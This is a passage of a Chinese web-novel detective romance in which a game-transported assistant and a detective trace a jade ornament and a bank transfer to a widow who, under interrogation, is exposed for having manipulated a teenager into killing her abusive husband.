最后才走到生鲜区,挑选起晚上要用的食材。排骨、番茄、鸡蛋、青菜,再买些蘑菇和豆腐做个三鲜汤。
把这些都放进小推车里,祝好四处张望寻找调料区。程述平时几乎不在家做饭,厨房里除了泡面就是泡面,所以买完食材还要再买点基础的调料。
她再次叹了口气,真麻烦,待会儿一定要把小票带回去让他报销。
路过海鲜区时,她被一只大螃蟹吸引了注意力,便凑到玻璃缸前仔细端详。
吕宏远坠楼那天他们第一次去找叶怡然了解情况时,也在厨房的水槽里见过这样的螃蟹,身形巨大,全身遍布红色斑点,跟平时在菜市场见到的普通螃蟹长得不大一样。
她的目光移向玻璃缸上的价格卡,立刻吓了一大跳——澳洲皇帝蟹/3888元。习惯性地跟积分换算了一下,3888元约等于388积分,足够她在游戏里浪好一阵子了。
果然是有钱人,随便一杯咖啡、一只螃蟹都是四位数起步,比不了比不了。
她心虚地抿了抿嘴,赶紧从价卡收回目光,继续看着咕嘟咕嘟吐泡泡的螃蟹。
工作人员见她看得认真,随口招呼:“小姐,这只螃蟹已经被人预定了,你可以看看其他海鲜。”
祝好佯装一脸失望:“啊?那算了,我下次再来。”
语毕有点心虚,生怕工作人员从哪儿掏出一只一模一样的螃蟹卖给她,赶紧推着小推车一溜烟跑了。
走到一半,不知怎么的,心头无端跳了一下,脑海里回响着刚才陈太说的话——
“之前聚餐饭吃到一半时吕宏远突然胸闷、心慌,送到医院抢救过来,才知道他对海鲜过敏。”
她脚步一顿,连忙推着小推车掉了个头回到海鲜区,拉住刚才那个工作人员问道:“这种螃蟹需要提前多久预定?”
工作人员上下打量她一眼,大概是看她穿着打扮很普通,年纪也不大,不像是能买得起3888元一只的螃蟹的人,答得有些敷衍:“这是进口货,全市的海鲜市场都要提前至少一天吧。”
吕宏远有严重的海鲜过敏,这点叶怡然不可能不知道,可她为什么还要提前预定一只价格昂贵的螃蟹呢?难道是因为她自己或者吕可想吃吗?
不对,之前程述分析过,叶怡然在家里并没有什么地位和话语权,吕宏远不可能让这种差点要了自己命的食物出现在餐桌上。
所以水槽里的螃蟹只能说明一件事——她知道吕宏远再也回不来了。
祝好匆忙对工作人员道了声谢,找了个休息区坐下,掏出手机给程述打去电话电话,可连续打了几个他都没接,只好悻悻起身选好了调料品,先去结了账。
从超市里出来,她一手提着沉重的塑料袋,一手拿着奶茶,漫无目的地走在街头,脑子里一直在想叶怡然的事。
——如果叶怡然真的是推动方诗言杀人的“外力”,那她的动机大概是为了保护自己的女儿。
那么方诗言愿意动手杀人,甚至承担所有罪行,又是为了什么?
这么一想,叶怡然当初说的那句“她们都是好孩子”更是耐人寻味了。
路边有家酒吧似乎是即将开业,一个身形颀长的男人正指挥工人安装招牌,他后退两步想看看效果,却不小心与神游的祝好撞了个正着。
祝好重心不稳,“哎哟”一声摔了个大屁墩,购物袋里的东西也散落一地。
男人吃惊回头,赶紧蹲下身扶她,目光相触的瞬间,祝好的心跳不为人知地停了一拍:靠,这人长得也太好看了吧。
系统突然响起“滴滴”的提示音:“新的可攻略对象出现,请问是否要查看对方基础资料?”
他居然是新的可攻略对象?
她选了“是”,控制面板上跳出一行信息——
姓名:李砚川
年龄:25岁
职业:酒吧老板
当前好感度:0
这名字听起来跟个暴发户似的,实在很难跟眼前这个五官好看到几乎挑不出一丝差错的花美男联系到一起。
不过这回偶遇的方式倒是很乙游,哪怕一屁股坐在街头,也比被人追杀和在案发现场的相遇要强得多。
李砚川把她从地上扶起来,又弯腰帮她把东西一样一样拾回袋子里,满脸歉意:“抱歉抱歉,我没注意到身后有人,你没事吧?”
祝好说了句“没事”,拍了拍裤子上的灰尘,才发现胸前的衣襟被奶茶打湿了一大片。
李砚川眉头紧皱:“哎?你衣服都湿了,实在不好意思,你看我怎么赔偿你合适?”
祝好大度地摆了摆手:“没事,不值几个钱。”
这倒也不是跟他客套,毕竟这衣服是拿积分换的,换算下来也就几十块钱,真要人赔偿未免也太小气了些。
李砚川还是过意不去:“这样吧,我店里有一批员工服,都是新的,要不你先换上?”
衣服上的奶茶黏黏腻腻,贴在皮肤上确实不太舒服,祝好想了想便答应了。
见她没再推辞,李砚川才松了口气,拎起袋子领着她往酒吧里走。
酒吧应该刚装修好,里面只有零星几个员工在收拾打扫。
这儿整体是挺别致的工业风,天花板上几盏巨大的复古吊灯散发着暖光,墙壁保留了原始的水泥质感。中心是一个环形吧台,架子上摆满各式各样的酒瓶,周围两侧划分出一些包座和散座。
她好奇问道:“这酒吧是你开的?”
李砚川点点头:“过几天就开业了,到时候欢迎来坐坐。”
他带着祝好到了员工休息室,从柜子里翻出一件胸前印着LOGO的T恤递给她:“你先凑合着换上,桌上有纸巾,你随便用。”
说完关上门退了出去。
祝好脱下那件被奶茶浸湿的衣服,用纸巾擦了擦身上的糖渍,才换上那件宽大的T恤。
推开休息室的门,李砚川还在门口等着:“你的衣服留在这儿,我帮你拿去干洗再给你送过去。”
“不用了,这衣服真不值钱,扔了也不心疼。”
话虽如此,祝好还是把衣服叠起来塞进购物袋里。
李砚川抱着胳膊沉吟片刻:“这样吧,你留个联系方式,等酒吧开业了你带朋友来玩儿,所有的消费都算在我头上。”
衣服不用赔,但联系方式还是要加的。
消不消费倒是不重要,重要的是这个可攻略对象跟目前的案子没有任何交集,不留个联系方式,将来怎么找到他?
不找到他,就不能提升好感度,也就没办法获取更多积分了。
李砚川打开自己的二维码递到她面前,自报家门:“我叫李砚川,你呢?”
“祝好。”
“这名字真好听。”李砚川收起手机,目光落在地上的超市购物袋上:“你要回家吗?我正好也要出去一趟,要不我送你?”
换做平时,让陌生男人送自己回家绝不是一个明智的选择,不过这位可是游戏里设定的可攻略对象。
目前出场的秦聿风、温珣都是根正苗红的五好青年,虽然还不清楚李砚川到底什么来头,对剧情的推动又有什么作用,但看他行为举止都彬彬有礼,总不至
于是什么隐藏的变态病娇吧?
权衡了一会儿,祝好还是答应下来,内心暗忖说不定路上跟他聊聊天,还能有什么意外的收获。
李砚川拎起祝好的袋子往外走,又对着店里的员工嘱咐了几句,让他们搬东西的时候注意安全。
门外停着一辆黑色的越野车,他打开后座把购物袋放进去,又替祝好拉开副驾驶的门,问道:“你家在哪儿?”
祝好上车系好安全带,报上了程述家的地址。
程述家所在的地区属于老城区,除了几栋老旧的筒子楼之外,就是连甍接栋的自建小楼和错综勾连的巷子,跟高楼大厦鳞次栉比、现代感十足的市中心相比,简直是两个世界。
李砚川艰难地把车开过一条羊肠小道,犹豫再三,还是斟酌着语气问道:“冒昧问一句,你一个女孩子住这种地方,会不会不太安全?”
祝好礼貌地笑了笑:“我不是一个人住。”
“哦,跟你男朋友住吗?”
“不不不不不。”祝好把头摇得跟拨浪鼓似的:“我跟我老板一起住。”
“老板?”李砚川满脸疑惑,但良好的素养又让他把到嘴边的问题生生咽了回去。
祝好知道他一定误会了什么,赶紧开口解释:“不是你想的那样,我老板是个私家侦探,我是他的助手,我们住在一起只是为了方便办公。”
听到这个词,李砚川的眼睛突然亮了:“侦探?像福尔摩斯那样的侦探吗?”
看着他满怀期待的眼神,祝好脑子里浮现出程述身穿斗篷大衣、头戴猎鹿帽,叼着烟斗的模样,差点没忍住笑出来。
她嗯嗯啊啊半天,最后含糊地点了点头:“差……差不多吧。”
系统突然响起提示音:“与李砚川的好感度+5,获得50积分。”
祝好:??!!!……这都行?
李砚川来了兴趣,追问道:“那你们是不是经常碰到什么密室杀人案、幽灵杀人案之类离奇古怪的事情?”
“这个嘛……”祝好扶着额角强忍笑意,心想这个可攻略对象长得那么好看,没想到是个天然呆。
万一他知道“侦探”平时的工作就是找猫逮狗捉小三,这莫名其妙获得的好感度指不定又会莫名其妙地消失了。
正想着要怎么敷衍过去,幸好车很快开到楼下,祝好连忙示意他停车:“到了到了,停这儿就好。”
李砚川把车停在路边,跳下车把后座的购物袋拎在手里:“这些东西那么沉,我帮你提上去吧。”
“不用不用,我自己可以。”祝好脱口而出,说完做贼似地往楼上看了一眼。
三楼的房东大妈整天像个间谍似的盯梢来往的住户,如果让她看到自己带了个陌生男人回家,那真是有口也说不清了。
见她拒绝得果决,李砚川也没再坚持,他把购物袋递给祝好:“行吧,等酒吧开业了我给你发信息,你记得带你老板来玩呀。”
祝好连连点头,提着沉重的购物袋逃之夭夭,还不忘心虚地左顾右盼,生怕房东大妈从哪儿冒出个八卦的脑袋来。直到安全到家,才堪堪松了口气。
白眼狼听到开门声,“喵呜”一声出来迎接,看到回来的人不是程述,象征性地蹭了蹭她的裤脚,又回沙发上睡觉去了。
真没良心!祝好愤愤吐槽,把购物袋放在茶几上。
她掏出手机,突然想起来程述那么久还没回电话,信息也没一条,该不会是正在被几个富婆摁在墙上狂亲吧?
想到这个场景,她不禁起了一身鸡皮疙瘩,觉得身为正义之士,自己有必要救他于水火之中,于是又一次拨打了他的电话。
这回电话倒是很快接通,从听筒里震天响的音乐声可以判断,他最终还是被陈太绑架到KTV里了。还没等祝好开口,就听他扯着嗓门喊:“什么,家里着火了?好好好,我马上回去!”
说完又“啪”一声把电话挂了。
第38章
祝好把做好的排骨端出来放在餐桌上,刚要把西红柿和鸡蛋下到锅里,就听到门口传出动静。
她从厨房抻脖向外张望,看到程述开门进屋,脸色阴沉得跟抹了层锅灰似的,甚至没理会围着他撒娇的白眼狼,换了鞋径直走进卫生间,不一会儿就听到里面传来哗啦啦的水声。
祝好仿佛能想象到他一个人蹲在花洒下面抱着腿痛哭的场景,莫名开始担忧起来。正思考有什么安慰的话,就看到他从卫生间里出来,坐在餐桌旁边擦着滴水的头发边摁手机。
她拎着锅铲,小心翼翼地从厨房里探出脑袋:“老大,你还好吗?”
程述斜乜她一眼:“不太好。”
果然,该发生的事还是发生了。
祝好一脸“我懂”的表情,抬手拍了拍他的肩膀,语重心长地安慰道:“没事的,往好处想,起码能少奋斗二十年。”
程述莫名其妙:“你说什么呢?”
完了,受到打击后人都不聪明了。
祝好扯了张椅子在他对面坐下,一脸严肃:“陈太是不是欺负你了?”
这回他终于听明白了,无奈道:“欺负我?谁能欺负我?就是陪着她们喝了几杯酒而已。”
“没别的了?”
他反问:“你还想有什么别的?”
祝好撇了撇嘴:“那你为什么不接电话?”
“她们把我手机藏起来了,非要我喝完酒才还给我。”
故事的走向居然跟自己想象的不一样,祝好还有些失望:“那你为什么要洗澡?”
“你是被十万个为什么附身了吗?包厢里都是烟味,我不喜欢。”
程述擦头发的动作顿了一下,突然转头看向厨房的方向,皱起眉头:“怎么一股焦味?”
祝好猛地反应过来,赶紧冲进厨房掀开锅盖,发现锅里的番茄炒蛋已经变成了一锅焦黑色的不明物体。
还没来得及销毁证据,就听到身后传来幽幽一声:“这就是你说的吃不死我?”
她讪讪笑道:“只是个意外,我这不是太关心你,不小心给忘了吗?”
“算了,指望不上你,我来吧。”
程述叹了口气,从祝好手里接过锅铲,把锅里的焦炭倒进垃圾桶,重新拿了几枚鸡蛋磕进碗里递给她:“加点盐用筷子搅拌均匀。”
祝好边用筷子把鸡蛋搅拌成蛋液,边看着他熟练地把两个番茄洗干净切成丁,好奇问道:“你会做饭?”
程述接过她手里的碗,头也不抬地阴阳她:“反正吃不死你,你先去盛饭吧。”
他的动作还挺利索,没多久就把剩下的菜做好了端到餐桌上,而且卖相看起来还不错。
祝好夹了块沾满番茄汁的鸡蛋放进嘴里,意外地还挺好吃,忍不住嘀咕:“既然会做菜,平时怎么都吃泡面?”
“一个人住,没心思做。”
见他夹了块排骨咬了一口,祝好满脸期待看着他:“怎么样,我手艺还行吧?”
他淡淡地“嗯”了一声:“不难吃。”
这句话在他那儿已经等同于明面上的夸奖了。
吃了两口,他突然问:“是谁教你做饭的?”
祝好没多想,老老实实回答:“我爸,他做饭可是大厨级别的。”
“你之前说你爸是警察?”
祝好愣住了,随后敷衍地“嗯”了一声。
程述低头吃饭,漫不经心道:“真奇怪,你记得你爸是警察,怎么不记得自己家在哪儿啊?”
祝好夹菜的动作一滞,猛地抬眼看着他,心脏砰砰直跳。
系统说过,秦聿风和温珣虽然有了自己的意识,但还保留着一些初始设定,因此暂时不会对她产生怀疑,也能坦然接受她的存在。
可是程述呢?
按照游戏原本的剧情,他是个不可攻略的对象,或许只是第一起案子中某个无关紧要的角色,可自己却阴差阳错跟他产生了某些交集,还住到了他家的阁楼里。
这一切看起顺理成章,有迹可循,然而他这个看似随意的问题突然让祝好心生警觉。
他那么聪明,真的会相信她那些胡诌的话吗?
可如果他不相信她,又为什么会把她留在身边当助手?
一时间,祝好的脑袋里警铃大作 ,实在摸不透眼前这个人到底藏着什么心思。
看她不动筷,程述抬头问:“怎么不吃了?”
她干咳一声,以掩饰刚才的失神,半开玩笑半认真道:“怎么,你这是反悔了,想把我赶出去?”
程述一副无所谓的态度:“我就随便问问,想不起来就算了。反正阁楼空着也是浪费,你想住就住着,不想住随时可以搬走。”
祝好不着痕迹地掀起眼皮瞥了他一眼,却没在他脸上看到任何不寻常的表情,仿佛刚才那句话真的只是随口一问。
只是怀疑一旦生根,就会肆意生长,现在的程述对她来说无异于一个定时炸弹。
这个人实在太难琢磨了,不行,她一定要努力获得更多积分,等换取到足够的钱之后立刻搬走,不能再在这个危险的地方呆下去了。
心里装着事,饭都不香了。
潦草地扒了两口饭后,祝好清了清嗓,岔开话题:“对了,我今天逛超市时突然想到了一件事。”
“什么?”
她把螃蟹的事跟他说了,又问:“你不是找人问了玉貔貅的事吗?怎么样了?”
程述点点头:“下午刚收到消息,有人说曾在一家玉器行见过。”
又催促道:“先吃饭,吃完我们出去一趟。”
祝好一脸戒备:“不会又要打架吧?要不要先跟秦警官报备一下?”
程述回:“不会,玉石行当都是文化人,就算没文化也会装作很有文化的样子,一般只动口不动手。”
*
玉器行开在一条幽暗的巷子里,门头没有招牌,只有门边挂着一块实木的小牌匾,上书“琼琚阁”三字。
不仔细看,还以为是哪户人家的大门,根本不像是卖玉石的。
店铺面积不算大,古香古色的中式装修,三个玻璃柜台里摆着一些玉石饰品,都是些手镯、吊坠之类的,柜台后是一排木架子,陈列着形态各异的玉石摆件。
老板是个约莫四五十岁的中年男人,留着一撮山羊胡,穿件白色的中式褂子,鼻梁上架着老花镜,果然是一派文化人的打扮。
看到有人推门,他从柜台后起身,笑着对率先走进店里的程述打了个招呼:“帅哥,买玉吗?”
程述报以淡淡一笑,说了句“随便看看”,给祝好递了个眼神,示意她在店里到处转转,找找那只玉貔貅的身影。
祝好会意点头,视线逐一扫过玻璃柜台和架子上的玉石摆件,却一无所获。
也不奇怪,饶是她对玉石没什么研究,也知道一般的店铺不会将价格昂贵的东西随意摆放。
老板看他们不像是正经来买玉的客人,眼底闪过一丝疑惑,但还是保持着面上的客套:“两位有什么需求可以跟我说,我给您介绍介绍。”
程述从口袋里掏出证件照放在柜台上:“警察查案。老板,我想跟您打听一下,您最近是不是收过一只和田玉雕刻的貔貅摆件?”
他问的不是“有没有”,而是“是不是”,弦外之音就是笃定了那只貔貅在老板手里。
老板微微吃了一惊,接过他的证件看了一眼,旋即又换上一副笑脸,不置可否:“警察同志,有什么问题吗?”
程述道:“那个摆件跟我们正在调查的一件案子有关,方便借一步说话吗?”
老板脸色有些难看,犹豫片刻,点了点头,把店铺大门给锁上了。说了句“稍等”,转身进了身后的一扇暗门。
过了一会儿,他抱着一只做工精致的木盒从里面走出来,小心翼翼地把盒子放在柜台上。
打开盒子,里面的绸缎垫布上躺着一只通透的白色玉貔貅,色泽温润,做工精细,果然就是吕宏远家柜子上的那只。
程述把玉貔貅拿在手里翻看,老板紧张得眼神不敢离开一秒钟,生怕他不小心把这个这个宝贝给摔了。等程述终于把貔貅放回盒子里,他才松了口气。
“这只貔貅是不是两三天前,一个二十六七岁的女人卖给你的?”
老板不明所以,抿了抿嘴应了声是。
程述又从手机里找到叶怡然的照片递给他:“是她吗?”
老板取下鼻梁上的老花镜,接过手机端详,点了点头:“没错,是她。”
祝好插了句话:“她有没有说自己为什么要出手这只玉貔貅?”
“她说她家里人生了重病,急需用钱,就想把这只貔貅给卖了。”
程述话锋一转,突然问道:“那你说说看,这只貔貅怎么样?”
聊到了自己的专业,老板全然没了刚才的紧张,侃侃而谈:“我们看和田玉摆件,主要讲究四个点:新、奇、绝、优。新就是工艺上的创新,奇是指选材和构思,绝是玉石的品质要好,优是指工艺水平高。”
“这只貔貅由上好的羊脂白玉雕刻而成,气如白虹,色如截脂,细腻温润,经过能工巧匠的俏色巧雕,才能栩栩如生,我当时对它是一见钟情,觉得无论如何都要将它收入囊中。”
程述问:“这只玉貔貅市价多少?”
老板回答:“现在和田玉价格很好,就这只貔貅,至少也是中六。”
祝好好奇:“中六是什么?”
“抱歉,这是我们的行话,说顺嘴了。”老板竖起一个手掌,“大概是这个数吧。”
这回祝好明白了,这是五十万,比程述当时估的价格高出了一倍还要多。
程述又问:“那她开价多少?”
老板抬起眼镜揉了揉眼角,欲言又止:“她犹豫了很久,最后问我十万行不行。我一听就知道这姑娘不太懂行,虽然急着出手,但价格也不至于那么低,所以我多给了她五万,就当是行善积德了。”
五十万的东西十五万买下,转手还能净赚三十五万,比起“行善积德”,更像是“趁火打劫”。
程述笑了笑:“您就不担心这是件赃物?”
老板脸色略微一变,干巴巴地笑了一声:“不能吧?我看那个女人穿着打扮都像是有钱人,看起来真的很着急,也没跟我绷价,我觉得她或许真的是家里遇到了什么事需要花钱,才忍痛出手的。”
说完还是不禁担忧起来:“警察同志,这不会真的是赃物吧?她犯的是什么事儿?我是良好市民,正经买卖,绝对没有违法犯罪啊。”
程述合上装貔貅的木盒子,一本正经道:“放心吧,我们会调查清楚,不会冤枉任何一位良好市民的。”
老板眼睛死死盯着他手里的木盒,生怕这五十万就这么被他给端走了,又不敢伸手阻拦,急得两眼通红。
抱着“戴罪立功”的心态,他又补充了一句:“对了,她还问我认不认识收古玩字画的人,我推荐了一位朋友给她,至于他们有没有联系我就不知道了。警察同志,这只貔貅不会真的是赃物吧?我真的不知情啊,但这东西确实是真金白银买下来的,我、我……”
看他激动得话都说不利索了,程述也没再逗他:“不是赃物,但是是证物。晚点儿我会让我同事过来取证,等案子结束后一定会完璧归赵的,您放心。”
老板这才松了口气,抬手用袖子擦了擦额头上的汗。
从玉器行出来,祝好终于有机会问出憋了半天的问题:“叶怡然为什么那么急着要卖掉这些东西?不会是想跑路吧?”
程述摇头:“跑不了,警方派人盯着她呢。”
祝好更想不明白了,哪怕叶怡然和吕宏远签署了婚前协议,吕可应该也是遗产继承人。身为吕可的监护人,叶怡然想拿到这笔钱并不难。
难道是吕宏远走得突然,遗产无法那么快到手,而没有经济能力的叶怡然生活陷入了困难?
不对,如果吕宏远的死是她早就策划好的,那她一定也为自己留了后路。
既然如此,她为什么还要如此仓促地低价卖掉这些藏品呢?
程述没有启动车子,他靠在座椅上,手指规律地敲打着方向盘:“你还记得老板刚才说她卖这只玉貔貅的理
由吗?”
祝好略微回忆了一下:“她说家里人生了重病,急需用钱——”
她顿住了,脑子飞速运转了片刻,突然想到什么:“方诗言的妈妈!”
程述点点头,掏出手机给秦聿风打了个电话:“老秦,你查一下,这几天叶怡然的账户有没有大额的转账?”
第39章
警局里,秦聿风坐在办公室边吃着盒饭边抱怨:“我说你可真会给我找事情做,累了几天了,我才刚要回去休息,你就让我查这个查那个。怎么,你对这案子还有疑虑?”
“不是给你带了吃的吗?”程述理直气壮地指了指桌上胡乱排开的外卖盒:“再说了,我就不信你没有疑虑。”
秦聿风不置可否地笑了笑。
祝好知道最近几天查到的信息程述都会同步反馈给他,身为一个经验丰富的刑警,他应该也察觉出端倪了。
这会儿技侦正在忙活着调查叶怡然的交易记录,等待过程中,程述俨然把秦聿风的办公室当成了自家卧室,霸占了一整张沙发躺得四仰八叉。
祝好不想跟他挤在一起,只能坐在沙发扶手上。
秦聿风看不惯他那副吊儿郎当的样子,伸出长腿踹了他一脚:“老程,好人做到底,去买几瓶喝的回来。”
他懒洋洋地对祝好扬了扬下巴:“小助手,发光发热的时候到了,去给秦警官买几瓶喝的。”
秦聿风啧了一声:“你一个大男人怎么使唤起女孩子来那么心安理得,大晚上的让她一个人出去安全吗?”
“警局附近都不安全,整个淮江市还有安全的地方吗?”嘴上这么说,程述还是不情不愿起身伸了个懒腰。
“别啰嗦,赶紧的。”秦聿风往他屁股上招呼了一巴掌:“别忘了买外头为了你加班的那几个兄弟的份。”
程述嘟囔着往外走:“什么叫‘为了我’,说得好像案子破了会给我发奖金似的。”
门关上后,透过百叶窗的缝隙看他走远,秦聿风突然轻笑了一声:“祝小姐,你有没有觉得老程好像变了。”
“变了?哪儿变了?”
祝好把这这句话咂摸了好几回,也没明白他的意思。
“怎么说呢……”秦聿风咬着筷子,似乎是搜肠刮肚思考着形容词:“就是变得没有以前那么讨厌了。”
又转头问祝好:“你觉得呢?”
祝好想也不想就摇头:有吗?明明跟第一次见面时没什么两样,毒舌、傲娇,性情古怪,永远让人摸不透他到底在想什么。
唯一不同的是,她从之前时不时被他气得半死,到现在已经能面不改色地把他怼到无言以对了。
她撇了撇嘴:“如果你觉得他变了,就只能有两个原因:要么就是你工作太累产生了幻觉,要么就是他给你下了什么降头。”
秦聿风“扑哧”笑了一声:“也是,现在你是跟他待在一起最久的人,你说他没变,那他肯定就没变。”
这句话倒是提醒了祝好,又让她想起了饭桌上的对话。
她每天跟程述呆在一起,他真的没有对自己起疑吗?那些看似漫不经心的话,究竟只是随口一说,还是在试探她?
不论如何,搬出去这件事儿刻不容缓。
抱着胳膊思考了一会儿,她问秦聿风:“秦警官,你知不知道哪里能租到便宜房子?面积不用太大,能养猫就行。”
秦聿风愣了一下:“在老程那儿住不惯吗?还是他做了什么让你不舒服的事儿?”
“没有没有,就是……”祝好随便胡诌了个理由:“总在他那儿赖着也不太好,你想吧,万一他以后有了女朋友,我住那儿那多不方便。”
似乎是觉得有道理,秦聿风点了点头,沉吟片刻,问道:“租房子倒是不难,不过你有什么能证明身份的证件吗?我记得当初送你进医院时,并没有在你身上找到身份证之类的东西。”
“身份证?”祝好怔住了,随口应道:“我、我也不记得了,可能是弄丢了吧。”
秦聿风一拍大腿:“说到这个我才想起来,之前想帮你再查一下身份信息的,没想到案子一件接一件,差点给忘了,不如现在就……”
说着就把盒饭搁到茶几上,拖动椅子来到电脑前。
祝好浑身一激灵,糟了,这怎么给自己挖了个大坑呢?
当时他只问了自己是不是淮江市本地人,后来忙着查案也就没再深究。如果这时候发现她的身份信息还是一片空白,他一定会产生怀疑。
情急之下,也不知哪儿来的力气,她一把抓住秦聿风的椅子将他连人带椅拖离电脑桌:“算了算了,不用那么麻烦,秦警官你你你你先吃饭吧。”
说完又往前跨了两步拿起桌上的盒饭塞进他手里,顺势用身体挡在电脑前。
这一套操作看似行云流水,实际上明眼人都能从她慌里慌张的表情看出是顾左右而言他的掩饰。
看着秦聿风捧着盒饭,一脸疑惑而欲言又止的神情,祝好脑门子上渗出一层细汗,心想完了,玩脱了,早知道就不提这茬儿了,万一他真的细究起来该怎么解释?
该死,这破游戏为什么不能读档重来?
正当她在脑子里飞快地搜索着应对方式,办公室的门突然被敲响了。秦聿风把盒饭放回桌上,说了句“进来”。
祝好这才暗暗松了口气,得救了。
进来的是个警员,满脸疲倦,却遮不住喜悦之色:“秦队,查到了,两天前叶怡然曾往一个账户上汇了30万元,账户的主人名叫张兰,正是方诗言的母亲。”
程述刚好提着一袋饮料回来,他从袋子里拿出一瓶红牛扔给来汇报的警员,笑了笑:“怎么样,老秦,这班没白加吧?”
秦聿风没理会他,三两口扒完了盒饭,对着警员一挥手:“去把叶怡然带回来。”
又补充道:“她家有个孩子,注意方式,別吓到小朋友。”
*
坐在审讯室里的叶怡然并没有想象中的惊慌失措,只问了句吕可在哪儿。得知看在程述的面子上,陈太会暂时把吕可带回家住几天后,才放下心来。
秦聿风给她倒了杯水:“叶怡然,我给你一次坦白的机会。”
叶怡然低头看着手腕上的手铐,已然知晓了自己的命运,自嘲地笑了一下:“其实从诗言被带走那天,我就知道你们一定会查到我的。”
秦聿风坐回审讯桌后,一瞬不瞬地盯着她:“说说吧,究竟发生了什么?”
叶怡然抬起水杯抿了一口水,幽幽低叹了一口气。
“小时候我家里很穷,从记事起,家里就只有我跟奶奶相依为命。那年我刚上初中,那天县里突然来了一位企业家,给学校捐赠了一批物资。作为贫困生代表,我被学校派去给他颁发荣誉证书,那是我第一次见到吕宏远。”
“当时他三十多岁,穿着一件看起来很昂贵的大衣,笑得很和蔼,看起来就是一个很好相处的叔叔。颁奖的时候他悄悄跟我说,让我晚上跟他们一起吃饭。我一个十几岁的乡下女孩从没想过还能和校长、企业家甚至是县长坐在同一张桌子上,拘谨得不行,吕宏远却没有摆架子,一直给我夹菜,陪我说话,还问我想不想到城里去读书。”
“他说我又聪明又漂亮,不应该永远被困在这小小的县城里。我告诉他家里有奶奶要照顾,他跟我说没关系,他会替我打点好一切。他还拿出手机,给我看了城里高楼大厦的照片。我从来没有离开过县城,照片里的东西我也只在电视上看到过,我心动了。”
“第二天,他提着很多补品去了我家,拉着奶奶的手陪她聊天,说只要我跟他去城里,他会请人照顾奶奶,还会给家里盖一栋新房子。奶奶说我遇上了大好人,让我一定要珍惜这次机会。后来的事,你们一定都知道了。”
听到这里,祝好想起了方诗言的妈妈。
她和叶怡然的奶奶都是成年人,
真的会相信天上掉馅饼这种事吗?
还是说,哪怕早就知道吕宏远的目的或许不单纯,也要拿孩子的命运去赌上一把?
顿了顿,叶怡然接着道:“当初他第一次带着诗言回来时,我就仿佛看到了当初的自己。看着她天真无邪的笑脸,我知道她正在一步一步踏进深渊,可我却什么也做不了。这十几年里,我为吕宏远生下孩子,跟他结婚,都只是为了替他掩饰他光鲜亮丽的外表下那些肮脏的败絮。”
“我只是他树立好男人形象的工具,在家里没有任何地位。他不喜欢我化妆,我就从来没买过化妆品;他海鲜过敏,家里从来没吃过一顿海鲜;他让我别继续读书,在家里做个家庭主妇,我也只能照做。我想过离开,可是我没钱,没本事,也不想让可可跟我一起过苦日子,所以一直忍气吞声。”
“直到前段时间,我突然发现可可有些不对劲。我问她发生了什么,她不敢说,却偷偷告诉了诗言。诗言犹豫了很久,最终还是选择跟我说出真相——”
说到这里,一直克制着情绪的叶怡然终于忍不住捂着脸哭出声来:“吕宏远真是个人渣,可可是他亲生女儿啊!我到现在都想不明白,他怎么忍心做出这种事!!”
祝好捏紧拳头:果然跟他们推测的一样,吕宏远不仅是个该死的恋童癖,还丧心病狂到连自己的女儿都没放过。
秦聿风示意负责记录的警员给叶怡然递了张纸巾,看她好不容易平复了情绪,才接着问:“是你指使方诗言杀了吕宏远吗?”
叶怡然落寞地盯着手里被她捏成一团的纸巾,微微点头:“是的,是我。”
秦聿风又问:“如果我们没有继续调查,就这么结案,你是不是会选择永远不把真相说出来,让方诗言独自承担一切后果?”
他话说得凌厉且不留情面,却一针见血。
叶怡然目光微颤,沉默了许久,才开口说话:“其实我已经买好了出国的机票,本来想带着她和可可永远离开这里,没想到你们那么快就查到了真相。”
“我不是想让她独自承担,只是不知道如果我不在了,可可要怎么办好。诗言是个好孩子,她一定会理解我的。”
秦聿风冷笑了一声,极具压迫的眼神直勾勾地看着她:“真的是这样吗?叶怡然。”
叶怡然猛地抬头,眼底的惊疑不定登时被无限放大。
第40章
审讯室里明晃晃的白炽灯映照在叶怡然脸上,她的仓惶和心悸完全暴露在灯光之下。
秦聿风的语气归于平静:“既然你早就知道吕宏远不是出轨,也知道与他在酒店约会的对象就是方诗言,那么你找私家侦探跟踪偷拍吕宏远的目的何在?”
叶怡然隐晦地咽了口唾沫,支支吾吾说不出话来:“我……”
“说不出来,那我来帮你说吧。”秦聿风向后靠了靠,漫不经心地转动手中的笔:“你明明知道方诗言在忍受着痛苦,却依然选择了沉默,甚至还庆幸因为她的出现,吕宏远不再把泄欲的重心放在你身上。她帮你分担了许多痛苦,你也终于获得了一点点自由。”
“然而随着吕可渐渐长大,你发现吕宏远看她的眼神越来越不对劲。你不希望你的悲剧在吕可身上重现,所以你想了个办法。你知道方诗言把吕可当作自己的亲妹妹来看,于是把吕可的事告诉了她,并向她说出了你的计划。”
说到这里,他突然“啪”一声把手的的笔拍在桌上,身体前倾,眼里的光芒锐利如刀。
叶怡然打了个哆嗦,下意识想要躲避他的目光,却发现自己如同一只落入陷阱的困兽,根本无处可躲。
秦聿风缓缓起身,走到审讯椅前,双臂撑在桌板上,居高临下看着叶怡然。
“你知道吕宏远会经常把方诗言带到黄金假日大酒店,便教会她如何乔装打扮进入房间,并趁着吕宏远毫无防备之时将他推下楼,试图伪造成一场意外。”
“我不知道你是如何向方诗言许诺才让她答应你的,带她出国?替她妈妈治病?当然了,这些都只是你哄骗她的方法,因为你从一开始就知道这个计划漏洞百出,迟早会被我们查出来。”
叶怡然浑身剧烈颤抖起来,被铐住的双手紧紧交握在一起。
隔壁监控室里的祝好忍不住小声惊呼:“哇,秦警官也太帅了吧。”
旁边的程述不屑地冷笑了一下:“帅个屁啊,这些还不都是我告诉他的。”
“可是这些话从你嘴里说出来一定没有这样的效果。”祝好嫌弃地撇了撇嘴,又把目光转向单向玻璃后的审讯室。
秦聿风退回审讯桌前,抱着双臂靠在桌沿上:“我们回到一开始的问题,你之所以提前找私家侦探偷拍,并不是为了拍下吕宏远的出轨现场,而是从一开始就打算让方诗言独自承担一切。”
“如果私家侦探能拍下方诗言的正脸,你就可以名正言顺地把罪名嫁祸给她了。只可惜你找的侦探不太靠谱,什么也没拍到。”
说着有意无意地往单向玻璃的方向瞥了一眼,脸上还带着一丝嘲讽的笑。
祝好无视了程述眼角飞出的冷刀,幸灾乐祸地点头附和道:“就是,不靠谱。”
审讯室里的秦聿风接着说道:“方诗言只是个高中生,她只知道你向她保证过这个计划一定会天衣无缝,等吕宏远死了以后,你们就不用活在他的阴影之下,却不知道你早已在背后算计好一切,只等着我们顺着线索找到她。”
